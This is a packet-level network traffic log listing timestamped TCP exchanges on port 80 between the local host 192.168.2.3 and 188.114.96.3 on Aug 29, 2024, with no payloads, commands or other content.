Aug 29, 2024 12:14:37.754618883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.754930019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.754940987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.754954100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.754973888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.755002022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.755712986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.755770922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.757272005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.757291079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.757302999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.757332087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.757364035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.840739012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840763092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840773106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840785027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840801954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840812922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840825081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840828896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.840888023 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.840914011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840925932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840936899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840951920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:37.840964079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.840993881 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:37.841001987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006089926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006130934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006143093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006158113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006162882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006177902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006194115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006197929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006197929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006206989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006220102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006231070 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006258965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006277084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006289959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006319046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006341934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006361008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006373882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006385088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006397963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.006403923 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.006428957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007057905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007071018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007082939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007103920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007131100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007158995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007170916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007183075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007204056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007226944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007534981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007580996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007589102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007601023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007625103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007644892 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007671118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007683039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007694960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007708073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007714987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007734060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007760048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007884026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007895947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007908106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.007929087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007956028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.007985115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008029938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008514881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008553028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008564949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008567095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008577108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008593082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008606911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008626938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008737087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008780956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008790016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008801937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008817911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.008836031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.008866072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009089947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009157896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009164095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009171963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009192944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009215117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009277105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009290934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009301901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009313107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009334087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009346962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009377956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009485006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009497881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009510040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009522915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.009555101 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.009583950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.011611938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.011639118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.011708021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.011708021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100533962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100553989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100568056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100600004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100610971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100624084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100636005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100646019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100663900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100718021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100774050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100785971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100795984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100807905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100816965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100819111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100835085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100847960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100883007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100919008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100931883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.100963116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.100980997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101095915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101109028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101119041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101130962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101139069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101144075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101164103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101180077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101190090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101222992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101380110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101389885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101399899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101413965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101422071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101430893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101438046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101452112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101480007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101502895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101515055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101521015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101528883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101541042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101543903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101593018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101617098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101629972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101659060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101682901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.101691008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.101730108 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.501954079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502011061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502022982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502034903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502048016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502059937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502072096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502087116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502123117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502159119 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502171993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502171993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502186060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502203941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502218008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502224922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502228975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502243042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502250910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502255917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502269983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502270937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502290964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502309084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502317905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502327919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502335072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502341032 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502373934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502487898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502506971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502518892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502528906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502541065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502552986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502563000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502573013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502583981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502609015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502619982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502630949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502643108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502654076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502665997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502676964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502687931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502703905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502715111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502718925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502727985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.502770901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.502788067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503169060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503180981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503190994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503202915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503213882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503226042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503237963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503241062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503249884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503249884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503262043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503273964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503284931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503297091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503297091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503310919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503310919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503325939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503335953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.503338099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503344059 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.503381968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.506896019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.506948948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.506958961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.506974936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507003069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507023096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507090092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507102966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507119894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507141113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507173061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507179976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507186890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507200956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507215023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507217884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507237911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507277966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507296085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507308006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507318974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507332087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507339001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507344007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507400036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507411003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507415056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507436037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507447004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507448912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507461071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507476091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507492065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507513046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507749081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507761002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507774115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507785082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507785082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507798910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507803917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507812977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507826090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507834911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507838964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507850885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507869005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507882118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507889986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507894039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507906914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.507915020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507935047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507966042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.507994890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508008003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508019924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508030891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508045912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508073092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508111000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508145094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508152962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508155107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508191109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508217096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508229017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508239985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508253098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508264065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508269072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508315086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508404970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508416891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508430004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508450985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508479118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508614063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508626938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508639097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508651018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508662939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.508665085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.508687019 CEST	62660	80	192.168.2.3	188.114.96.3
